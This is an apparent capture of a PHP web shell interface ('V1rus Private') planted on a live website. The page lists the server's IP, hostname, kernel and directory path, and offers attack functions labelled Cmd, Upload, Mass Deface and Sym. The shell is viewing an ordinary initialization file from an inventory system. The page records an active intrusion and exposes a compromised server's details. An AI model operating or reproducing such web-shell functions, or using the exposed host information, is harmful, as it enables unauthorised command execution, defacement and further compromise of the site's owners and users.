V1rus Private
User / IP
:
216.73.217.108
Host / Server
:
190.92.174.125 / aerosofthealthcare.com
System
:
Linux s3739.bom1.stableserver.net 4.18.0-513.24.1.lve.2.el8.x86_64 #1 SMP Fri May 24 12:42:50 UTC 2024 x86_64
Cmd
|
Upload
|
Mass Deface
|
Create
|
Sym
:
/
home
/
aerosoft
/
public_html
/
InventorySystem
/
includes
/
Viewing: initialize.php
<?php // initialize.php - Core initialization file // Start session if not already started if (session_status() == PHP_SESSION_NONE) { session_start(); } // Define constants - CORRECTED PATHS defined('DS') ? null : define('DS', DIRECTORY_SEPARATOR); defined('SITE_ROOT') ? null : define('SITE_ROOT', dirname(dirname(__FILE__))); defined('LIB_PATH') ? null : define('LIB_PATH', __DIR__); // Current includes directory // Load configuration require_once(LIB_PATH . DS . 'config.php'); // Initialize database require_once(LIB_PATH . DS . 'database.php'); global $db; $db = new MySqli_DB(); // Verify database connection if (!$db) { die("Database connection failed"); } ?>
Coded With 💗 by
HanzOFC